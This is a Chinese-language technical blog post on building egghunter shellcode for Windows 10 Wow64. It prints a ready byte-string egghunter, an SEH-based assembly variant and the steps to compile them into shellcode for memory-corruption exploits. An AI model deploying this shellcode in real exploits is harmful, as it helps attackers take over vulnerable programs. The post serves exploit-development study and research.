Windows 10 Wow64环境下的Egghunter技术解析

本文详细介绍了Windows 10环境下Wow64架构的Egghunter技术实现,包括系统调用变更带来的挑战、SEH异常处理机制的应用,以及如何构建跨平台兼容的EggHunter代码。文章还提供了完整的汇编实现和调试技巧。

Windows 10 Egghunter(Wow64)技术解析

引言

作者坦言对Egghunter技术一直怀有浓厚兴趣,但强调在实际漏洞利用中应尽量避免使用,因其会降低执行效率。本文是Corelan团队沉寂三年后的首篇技术文章,重点解决Windows 7时代Lincoln开发的Wow64 Egghunter在Windows 10失效的问题。

技术背景

微软在每个Windows主要版本中都会变更系统调用编号,导致基于特定系统调用(如NtAccessCheckAndAuditAlarm)的Egghunter失效。系统调用编号变化可通过公开文档查询(j00ru.vexillium.org)。

Wow64 Egghunter实现

经过调试分析,团队发现除了系统调用编号变化外,参数传递和栈布局也发生了改变。最终实现的Windows 10 Wow64 Egghunter代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"\x33\xD2"              # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  # OR DX,0FFF
"\x33\xDB"              # XOR EBX,EBX
"\x42"                  # INC EDX
"\x52"                  # PUSH EDX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x6A\x29"              # PUSH 29 (系统调用0x29)
"\x58"                  # POP EAX
"\xB3\xC0"              # MOV BL,0C0
"\x64\xFF\x13"          # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10"          # ADD ESP,0x10
"\x5A"                  # POP EDX
"\x3C\x05"              # CMP AL,5
"\x74\xE3"              # JE SHORT
"\xB8\x77\x30\x30\x74"  # MOV EAX,74303077 (w00t)
"\x8B\xFA"              # MOV EDI,EDX
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              # JNZ SHORT
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              # JNZ SHORT
"\xFF\xE7"              # JMP EDI

该Egghunter可通过mona.py生成:!mona egg -wow64 -winver 10

调试技巧

调试时需配置调试器忽略以下异常:

  • 0xC0000005 - 访问冲突
  • 0x80000001 - 保护页冲突

基于SEH的通用Egghunter

作者进一步探索了不依赖系统调用的SEH(结构化异常处理)方案,该方案理论上可跨Windows版本和架构工作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
; 通用SEH Egghunter(x86和wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d

; 设置SEH记录
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444  ; 替换为POP/POP/RET地址
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESP

JMP nextpage

handle:
    SUB ESP,0x14
    XOR EBX,EBX
    MOV DWORD [FS:EBX],ESP
    MOV EDX, [ESP+24]
    INC EDX

nextpage:
    OR DX, 0x0FFF
    INC EDX
    MOV [ESP+24], EDX
    MOV EAX, 0x74303077
    MOV EDI, EDX
    SCASD
    JNZ nextpage+5
    SCASD
    JNZ nextpage+5
    JMP EDI

实现要点

  1. 使用GetPC技术动态定位处理程序地址
  2. 构建5层特殊栈结构实现异常处理链
  3. 需要非SafeSEH保护的POP/POP/RET指令地址
  4. 通过FS:[0]注册自定义SEH处理程序

使用说明

  1. 使用NASM编译:nasm -o egghunter.obj egghunter.nasm
  2. 转换为Shellcode:python bin2hex.py egghunter.obj
  3. 最终Shellcode需替换\x44\x44\x44\x44为实际POP/POP/RET地址

未来展望

随着Windows 10成为"最后"的Windows版本,Egghunter的兼容性可能更持久。但作者仍建议优先考虑不使用Egghunter的利用方案。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计